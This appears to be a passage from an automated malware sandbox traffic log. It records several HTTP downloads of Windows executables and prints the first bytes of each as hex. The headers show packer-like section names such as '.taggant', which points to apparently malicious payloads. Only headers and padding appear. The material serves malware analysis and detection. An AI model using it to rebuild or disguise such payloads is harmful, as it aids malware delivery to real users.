00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 75 6d 72 76 77 6e 00 10 00 00 00 90 72 00 00 04 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 54 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:13 GMTContent-Type: application/octet-streamContent-Length: 2930688Last-Modified: Tue, 29 Oct 2024 18:58:21 GMTConnection: keep-aliveETag: "6721304d-2cb800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 48 f5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 71 68 62 70 74 74 71 00 00 2a 00 00 b0 05 00 00 fe 29 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 61 75 72 64 71 64 6e 00 10 00 00 00 b0 2f 00 00 04 00 00 00 92 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 2f 00 00 22 00 00 00 96 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:25 GMTContent-Type: application/octet-streamContent-Length: 1905152Last-Modified: Tue, 29 Oct 2024 18:27:01 GMTConnection: keep-aliveETag: "672128f5-1d1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 82 39 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 b5 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b5 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 6d 74 6e 69 6b 7a 00 00 1a 00 00 c0 31 00 00 f8 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 61 67 69 6b 70 6b 6a 00 10 00 00 00 c0 4b 00 00 04 00 00 00 ec 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 f0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:35 GMTContent-Type: application/octet-streamContent-Length: 2850304Last-Modified: Tue, 29 Oct 2024 18:26:38 GMTConnection: keep-aliveETag: "672128de-2b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 67 79 66 6e 65 75 62 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 65 64 67 68 78 6d 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:45 GMTContent-Type: application/octet-streamContent-Length: 11810304Last-Modified: Tue, 29 Oct 2024 17:36:31 GMTConnection: keep-aliveETag: "67211d1f-b43600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 ec b3 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 b6 40 00 00 fc 02 00 00 00 00 00 f0 18 07 00 00 10 00 00 00 d0 ad 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 10 b9 00 00 04 00 00 9a 0e b5 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 b5 00 5e 04 00 00 00 c0 b8 00 ac 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 b5 00 8c 83 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 e3 ad 00 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 38 b5 40 00 00 10 00 00 00 b6 40 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f4 f3 6c 00 00 d0 40 00 00 f4 6c 00 00 ba 40 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 3a 07 00 00 d0 ad 00 00 b4 02 00 00 ae ad 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 5e 04 00 00 00 10 b5 00 00 06 00 00 00 62 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 8c 83 03 00 00 20 b5 00 00 84 03 00 00 68 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 73 79 6d 74 61 62 00 04 00 00 00 00 b0 b8 00 00 02 00 00 00 ec b3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 2e 72 73 72 63 00 00 00 ac 47 00 00 00 c0 b8 00 00 48 00 00 00 ee b3 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:55 GMTContent-Type: application/octet-streamContent-Length: 2850304Last-Modified: Tue, 29 Oct 2024 18:26:40 GMTConnection: keep-aliveETag: "672128e0-2b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 67 79 66 6e 65 75 62 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 65 64 67 68 78 6d 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:59 GMTContent-Type: application/octet-streamContent-Length: 2930688Last-Modified: Tue, 29 Oct 2024 18:58:21 GMTConnection: keep-aliveETag: "6721304d-2cb800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 48 f5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 71 68 62 70 74 74 71 00 00 2a 00 00 b0 05 00 00 fe 29 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 61 75 72 64 71 64 6e 00 10 00 00 00 b0 2f 00 00 04 00 00 00 92 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 2f 00 00 22 00 00 00 96 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:37:02 GMTContent-Type: application/octet-streamContent-Length: 1915904Last-Modified: Tue, 29 Oct 2024 18:58:42 GMTConnection: keep-aliveETag: "67213062-1d3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 b0 44 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 40 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 40 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 65 6a 6a 63 69 6f 00 30 1a 00 00 20 32 00 00 22 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 66 69 6b 64 71 75 65 00 10 00 00 00 50 4c 00 00 04 00 00 00 16 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 1a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
